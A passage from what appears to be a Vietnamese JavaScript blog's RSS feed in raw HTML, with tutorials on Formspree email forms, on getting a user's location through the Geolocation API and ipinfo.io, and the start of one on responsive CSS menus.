class="token punctuation">"</span>_gotcha<span class="token punctuation">"</span></span> <span class="token special-attr"><span class="token attr-name">style</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token value css language-css"><span class="token property">display</span><span class="token punctuation">:</span>none</span><span class="token punctuation">"</span></span></span> <span class="token punctuation">/></span></span></code></pre></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây, mình đã trình bày cách gửi email bằng HTML sử dụng Formspree.</p> <p>Trước khi kết thúc bài viết, mình muốn nhấn mạnh lại là: <strong>ứng với mỗi website triển khai form này, bạn cần phải xác minh một lần đầu tiên</strong>.</p> <p>Hy vọng bài viết này có thể giúp bạn biết cách gửi email bằng HTML để có thể triển khai trên các website của mình.</p> <p>Xin chào và hẹn gặp lại bạn trong <a href="/thiet-ke-website-responsive-voi-css-menu/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Hai cách lấy vị trí người dùng với JavaScript]]><![CDATA[Trong nhiều trường hợp, việc xác định vị trí (kinh độ, vĩ độ) là vô cùng cần thiết, ví dụ như: chỉ đường, hiển thị thông tin thời tiết,... Bài viết này mình sẽ hướng dẫn các bạn…]]>https://completejavascript.com/hai-cach-lay-vi-tri-nguoi-dung/https://completejavascript.com/hai-cach-lay-vi-tri-nguoi-dung/<![CDATA[AJAX]]><![CDATA[API]]><![CDATA[jQuery]]><![CDATA[JSON]]>Mon, 02 Apr 2018 00:00:40 GMT<p>Trong nhiều trường hợp, việc xác định vị trí (kinh độ, vĩ độ) là vô cùng cần thiết, ví dụ như: chỉ đường, hiển thị thông tin thời tiết,... Bài viết này mình sẽ hướng dẫn các bạn hai cách lấy vị trí người dùng vô cùng đơn giản. Đó là sử dụng Geolocation API và <a href="https://ipinfo.io/">ipinfo.io</a> API.</p> <h2 id="lấy-vị-trí-người-dùng-sử-dụng-geolocation-api" style="position:relative;"><a href="#l%E1%BA%A5y-v%E1%BB%8B-tr%C3%AD-ng%C6%B0%E1%BB%9Di-d%C3%B9ng-s%E1%BB%AD-d%E1%BB%A5ng-geolocation-api" aria-label="lấy vị trí người dùng sử dụng geolocation api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy vị trí người dùng sử dụng Geolocation API</h2> <p>Geolocation API được hỗ trợ bởi hầu hết các trình duyệt, cho phép người dùng cung cấp vị trí của họ cho một ứng dụng web.</p> <p>Một số đặc điểm quan trọng của Geolocation API:</p> <ul> <li>Người dùng sẽ được hỏi để cung cấp vị trí hay không. Nếu họ đồng ý thì API này mới được phép lấy vị trí người dùng.</li> <li>Chỉ hỗ trợ <strong>https.</strong></li> </ul> <p>Với những đặc điểm trên, bạn có thể thấy rằng Geolocation API sẽ đảm bảo được tính riêng tư cho người dùng. Tuy nhiên, do chỉ hỗ trợ https nên bạn sẽ không thể test được API này nếu sử dụng trên localhost (<strong>http</strong>). Nhưng không sao, bạn vẫn có thể tạo một Pen trên <a href="https://codepen.io/">codepen.io</a> để test tính năng này.</p> <p>Đây là ví dụ mà mình đã làm:</p> <p><a href="https://codepen.io/completejavascript/pen/PRxxNz"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/PRxxNz/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h3 id="cách-sử-dụng-geolocation-api" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-geolocation-api" aria-label="cách sử dụng geolocation api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng Geolocation API</h3> <p>Trước tiên, bạn cần kiểm tra xem trình duyệt có hỗ trợ Geolocation hay không:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> geolocation <span class="token operator">=</span> navigator<span class="token punctuation">.</span>geolocation<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>geolocation<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// Có hỗ trợ geolocation</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token comment">// Không hỗ trợ geolocation</span> <span class="token punctuation">}</span></code></pre></div> <p>Sau khi đã chắc chắn rằng trình duyệt có hỗ trợ Geolocation, bạn có thể gọi phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Geolocation/getCurrentPosition">getCurrentPosition</a> để lấy vị trí người dùng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> options <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">enableHighAccuracy</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token literal-property property">timeout</span><span class="token operator">:</span> <span class="token number">5000</span><span class="token punctuation">,</span> <span class="token literal-property property">maximumAge</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> geolocation<span class="token punctuation">.</span><span class="token function">getCurrentPosition</span><span class="token punctuation">(</span>onGeoSuccess<span class="token punctuation">,</span> onGeoError<span class="token punctuation">,</span> options<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><a href="/ham-la-gi-ham-trong-javascript/">Hàm</a> này có 3 tham số đầu vào:</p> <ul> <li><strong>onGeoSuccess</strong>: hàm callback được gọi khi việc lấy vị trí thành công</li> <li><strong>onGeoError</strong>: hàm callback được gọi khi việc lấy vị trí bị lỗi</li> <li><strong>options</strong>: là một <a href="/object-la-gi-object-trong-javascript/">object</a>, chứa một số cài đặt kèm theo, như độ chính xác, timeout, thời gian position được cached (giá trị này = 0 nghĩa là không bao giờ cache position). Bạn có thể đọc thêm về các option trên tại <a href="https://developer.mozilla.org/en-US/docs/Web/API/PositionOptions">đây</a>.</li> </ul> <h4 id="xử-lý-khi-lấy-vị-trí-người-dùng-thành-công" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-khi-l%E1%BA%A5y-v%E1%BB%8B-tr%C3%AD-ng%C6%B0%E1%BB%9Di-d%C3%B9ng-th%C3%A0nh-c%C3%B4ng" aria-label="xử lý khi lấy vị trí người dùng thành công permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý khi lấy vị trí người dùng thành công</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">onGeoSuccess</span><span class="token punctuation">(</span><span class="token parameter">position</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#lat"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> position<span class="token punctuation">.</span>coords<span class="token punctuation">.</span>latitude<span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#lon"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> position<span class="token punctuation">.</span>coords<span class="token punctuation">.</span>longitude<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Có 2 thông số quan trọng trong kết quả <strong>position</strong> trả về là vĩ độ (<strong>position.coords.latitude</strong>) và kinh độ (<strong>position.coords.longitude</strong>). Như vậy là bạn đã có được vị trí người dùng rồi, phải không?</p> <h4 id="xử-lý-lỗi" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-l%E1%BB%97i" aria-label="xử lý lỗi permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý lỗi</h4> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">onGeoError</span><span class="token punctuation">(</span><span class="token parameter">error</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> detailError<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">.</span>code <span class="token operator">===</span> error<span class="token punctuation">.</span><span class="token constant">PERMISSION_DENIED</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> detailError <span class="token operator">=</span> <span class="token string">"User denied the request for Geolocation."</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">.</span>code <span class="token operator">===</span> error<span class="token punctuation">.</span><span class="token constant">POSITION_UNAVAILABLE</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> detailError <span class="token operator">=</span> <span class="token string">"Location information is unavailable."</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">.</span>code <span class="token operator">===</span> error<span class="token punctuation">.</span><span class="token constant">TIMEOUT</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> detailError <span class="token operator">=</span> <span class="token string">"The request to get user location timed out."</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>error<span class="token punctuation">.</span>code <span class="token operator">===</span> error<span class="token punctuation">.</span><span class="token constant">UNKNOWN_ERROR</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> detailError <span class="token operator">=</span> <span class="token string">"An unknown error occurred."</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#error"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerHTML <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Error: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>detailError<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Có nhiều trường hợp có thể xảy ra lỗi khi lấy vị trí người dùng, nhưng quan trọng nhất là 2 lỗi sau:</p> <ul> <li><strong>PERMISSION_DENIED</strong>: người dùng không cho phép lấy vị trí khi được hỏi.</li> <li><strong>TIMEOUT</strong>: quá thời gian cho phép mà chưa có phản hồi, thường do tốc độ mạng chậm.</li> </ul> <p>Trên đây là cách sử dụng cơ bản của <a href="https://developer.mozilla.org/en-US/docs/Web/API/Geolocation/Using_geolocation">Geolocation API</a>, ngoài ra bạn có thể đọc thêm về <a href="https://developer.mozilla.org/en-US/docs/Web/API/Geolocation/watchPosition">watch_position</a> - phương thức này dùng để theo dõi sự thay đổi vị trí người dùng.</p> <h2 id="lấy-vị-trí-người-dùng-sử-dụng-ipinfoio-api" style="position:relative;"><a href="#l%E1%BA%A5y-v%E1%BB%8B-tr%C3%AD-ng%C6%B0%E1%BB%9Di-d%C3%B9ng-s%E1%BB%AD-d%E1%BB%A5ng-ipinfoio-api" aria-label="lấy vị trí người dùng sử dụng ipinfoio api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lấy vị trí người dùng sử dụng ipinfo.io API</h2> <p>Ý tưởng của phương pháp này là: khi người dùng sử dụng ứng dụng web, ứng dụng sẽ gửi một request lên server ipinfo.io. Server sẽ sử dụng request này để lấy ra thông tin địa chỉ IP của nơi cung cấp dịch vụ mạng, từ đó, suy ra vị trí của người dùng.</p> <p>Với cách này bạn luôn có thể lấy được thông tin vị trí người dùng. Ngoài ra, cách này còn cho phép bạn test trên localhost. Nếu không tin thì bạn có thể lấy code của mình về chạy thử.</p> <p><a href="https://codepen.io/completejavascript/pen/Ovaajp"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/Ovaajp/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h3 id="cách-sử-dụng-ipinfoio-api" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-ipinfoio-api" aria-label="cách sử dụng ipinfoio api permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng ipinfo.io API</h3> <p>Bạn chỉ cần gửi một <a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/">request</a> dạng GET với kiểu dữ liệu là <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a>. Trong ví dụ trên, mình sử dụng jQuery, nên chỉ cần sử dụng phương thức <a href="http://api.jquery.com/jquery.getjson/">$.getJSON</a> là được.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">$<span class="token punctuation">.</span><span class="token function">getJSON</span><span class="token punctuation">(</span><span class="token string">"https://ipinfo.io/"</span><span class="token punctuation">,</span> onLocationGot<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả trả về sẽ là một object, qua đó bạn có thể lấy ra thông tin kinh độ và vĩ độ như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">onLocationGot</span><span class="token punctuation">(</span><span class="token parameter">info</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> position <span class="token operator">=</span> info<span class="token punctuation">.</span>loc<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">","</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#lat"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span>position<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#lon"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">text</span><span class="token punctuation">(</span>position<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Như vậy là mình đã giới thiệu xong với các bạn hai cách để lấy vị trí người dùng thông qua Geolocation API và ipinfo.io API. Tóm tắt lại đặc điểm của 2 cách như sau:</p> <ul> <li>Geolocation API: <ul> <li>Hỏi người dùng xem có cho phép lấy vị trí hay không.</li> <li>Chỉ hỗ trợ https.</li> </ul> </li> <li>ipinfo.io API <ul> <li>Luôn luôn có thể lấy được vị trí người dùng</li> <li>Có hỗ trợ http, có thể test trên localhost.</li> </ul> </li> </ul> <p>Xin chào và hẹn gặp lại bạn trong <a href="/21-thu-thuat-javascript-huu-ich/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Thiết kế website responsive với CSS - Menu]]><![CDATA[Trước đây, việc truy cập internet chủ yếu là từ máy vi tính (desktop). Do đó, website thường chỉ được thiết kế để tương thích với kích thước màn hình desktop. Tuy nhiên, hiện nay…]]>https://completejavascript.com/thiet-ke-website-responsive-voi-css-menu/https://completejavascript.com/thiet-ke-website-responsive-voi-css-menu/<![CDATA[CSS]]><![CDATA[HTML]]>Sun, 01 Apr 2018 00:00:07 GMT<p>Trước đây, việc truy cập internet chủ yếu là từ máy vi tính (desktop). Do đó, website thường chỉ được thiết kế để tương thích với kích thước màn hình desktop. Tuy nhiên, hiện nay, mọi người có thể truy cập vào website từ rất nhiều các thiết bị khác nhau: máy tính, máy tính bảng (tablet), điện thoại (smart phone),...với nhiều kích thước màn hình khác nhau. Do đó, website cần phải được thiết kế sao cho tương thích với mọi thiết bị. Vì vậy, mình sẽ hướng dẫn các bạn thiết kế website responsive với CSS.</p> <h2 id="thiết-kế-website-responsive-là-gì" style="position:relative;"><a href="#thi%E1%BA%BFt-k%E1%BA%BF-website-responsive-l%C3%A0-g%C3%AC" aria-label="thiết kế website responsive là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thiết kế website responsive là gì?</h2> <p>Thiết kế website responsive là làm cho website tương thích với tất cả các thiết bị (desktops, tablets, phones). Công việc này bao gồm thay đổi kích thước, ẩn-hiện, di chuyển phần tử,...</p> <p>Ví dụ giao diện trang web trên máy tính:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 58.18181818181818%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVElEQVQoz43RXW7bMAwAYB16KWqpaJxsWG0gwJLnnWAX2D12hebF3lJbkn9EipI4RPY2FCu2fOADQQgiCYpytyu3j/LzV/nl27Y67cvtbr8vy7IoZCFVIWUhr5RSxf39ZvPu7m6jlHpQSkopfMbMHgGvgZwBpZmSZ/bMGCIReQq9nfphxpAwcmQW5/O5aZq2bcdxSimFEGKMKXuVxIjojR3sMHqimInnbJom/h+H9F1PP8w8AFFIzCwul0uXWWudc7+3+JsnMsOo7TBMs6fIiUXXdVprY0zf98YYmyEiwJ/9187g285oOxLRUhGI6JzD1wDAOQcA6Rfm5D2N0+zmGRFzhQXfIK07++ema1+0A1g7883Ax8Z47QKGtHwn4j8td1oSRHzptbEWwK2nur0zxaRnHCCEmNax67d8yk6n0/F4PBwOVVXVdf1U1R+eqvcfr7E8+wnj44lg+PGQhQAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="thiet-ke-website-responsive-voi-css-phan-1-menu-desktop" title="thiet-ke-website-responsive-voi-css-phan-1-menu-desktop" src="/static/00b1cfea5ddb0f0fe98326ee5364265f/7c811/thiet-ke-website-responsive-voi-css-phan-1-menu-1024x594.png" srcset="/static/00b1cfea5ddb0f0fe98326ee5364265f/103f2/thiet-ke-website-responsive-voi-css-phan-1-menu-1024x594.png 165w, /static/00b1cfea5ddb0f0fe98326ee5364265f/748ba/thiet-ke-website-responsive-voi-css-phan-1-menu-1024x594.png 330w, /static/00b1cfea5ddb0f0fe98326ee5364265f/7c811/thiet-ke-website-responsive-voi-css-phan-1-menu-1024x594.png 660w, /static/00b1cfea5ddb0f0fe98326ee5364265f/d28e0/thiet-ke-website-responsive-voi-css-phan-1-menu-1024x594.png 990w, /static/00b1cfea5ddb0f0fe98326ee5364265f/42a19/thiet-ke-website-responsive-voi-css-phan-1-menu-1024x594.png 1024w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Ví dụ giao diện trang web trên điện thoại:</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 324px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 176.96969696969694%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAjCAIAAAAblL1PAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD1UlEQVRIx52V3VLqSBDH80RmL1xuLKusVfnySq06e+Xt2QewVnZ9DF/JEilESAgEMIlCQsgXGSDJTCYhH1tkjoiuuKf2V1PUTEhP9797pkPt7Ozs7+8fHR2VSqVCobC7u0vT9C/boWn6/Pycpulv336nrq+vK5XKnxlXV1d/bfD3FiqVyuXl5c3NDZX+X4IgpIIgcBzHMAxd1z3P03XdNE3DMKbTaRiGy88Iw9DzPAghFcex53mqqk4mE9/3dV03MizLiqIo3gLG2Pf9lXEYhuTRerJebiOKIt/HK+PpdGoYhiiKAAAIoW3bsiyrqpokyTbBSZIg5FNRFBEZGOMgCEg8KONTnySozLNPZXsgx3Fc1/V9/4v0LpfLxWKhaZppmgghjLOwfd/3MhBC8XbCMFwsFtOMN+NNbcl7Nh+S5K+Xq4QlSQIhBAAQtevfIAgghJ7nkflyufyQsJXmNE2Hw+Ht7S3HcY+PjxzHSZLE83y322VZ9u7u7uHhoVqttlqtT4yTJFksFpIkPT09SZI0Go0EQRBFked5x3HIe2makoA/MUYITSYTWZZFUZxMJuPxWJZlRVEcxwnD8NNq/zCOooisXdetZ6iqKghCv99vNBr1eh0htPb/0ZhUHGOMECK3QlVVy7IghOPx2DAMsvu/8/8jYYqi1Ot1RVF+/j6+eU6ShByAl5cXAAA56gAAXdctyzIMwzTN2WxmmqamaRjjj5rjOAYA1Gq1RqMhCEKz2ex0OhzHtdvter3O87wgCK1Wq1qtapr20XOaphjjfr8viqKiKDzPPz8/k+INh0MSWpBBTsubZgDAeDw2TXNTEgln2618qzOEkOSZtAgIIWk3cRwvl8tgA4zxO8/rOkMIe71es9ms1Wr9fp9l2V6vJ0kSwzC9Xm8wGDAM0+l0BEHwPC9N03eaXde9v79nGGYwGJimqSjKaDSyLEvTNACAbduTjNFoZNt2mqarTrI+tFEUzefz2WxGjvRP1Tl6Zb0LkRp9CWkh1Bd7fwEpLeVjPMtwXde2bRL5182MsDKez2bC0+BFkhRF7vFdSRTEp8F8PiPu/8PYQaFkeGOAjIU/Bmg0hS+mJ1veQJ3LlqsBT5jMh4Yjagtl6m5qRghRSZpGaUpyFWVjmS2D184Rb4z3H7qAarfbXJvl2izLMCzTYlmmnQ2OXS2ZVqv9+oRlmFYGk9Ht8tSvGblcLp/Pn5yckE98oVA8Ps6fnp6enZ3l8/lyuVwsFvOFQrlcPjg4yOVyNE1fXFxQv72ysigWC4XCcUa2RaFUKq3n+Xye/Ht4eLi3t/f9+x//AKJOMySVUAK/AAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="thiet-ke-website-responsive-voi-css-phan-1-menu-phone" title="thiet-ke-website-responsive-voi-css-phan-1-menu-phone" src="/static/6c6ae28142d6961d400f45f2f6635708/94b54/thiet-ke-website-responsive-voi-css-phan-1-menu-2.png" srcset="/static/6c6ae28142d6961d400f45f2f6635708/103f2/thiet-ke-website-responsive-voi-css-phan-1-menu-2.png 165w, /static/6c6ae28142d6961d400f45f2f6635708/94b54/thiet-ke-website-responsive-voi-css-phan-1-menu-2.png 324w" sizes="(max-width: 324px) 100vw, 324px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="các-phương-pháp-thiết-kế-website-responsive" style="position:relative;"><a href="#c%C3%A1c-ph%C6%B0%C6%A1ng-ph%C3%A1p-thi%E1%BA%BFt-k%E1%BA%BF-website-responsive" aria-label="các phương pháp thiết kế website responsive permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các phương pháp thiết kế website responsive</h2> <p>Để thiết kế website responsive, bạn có thể sử một số phương pháp sau đây:</p> <ul> <li>CSS Float, thiết kế theo cột</li> <li>Flex 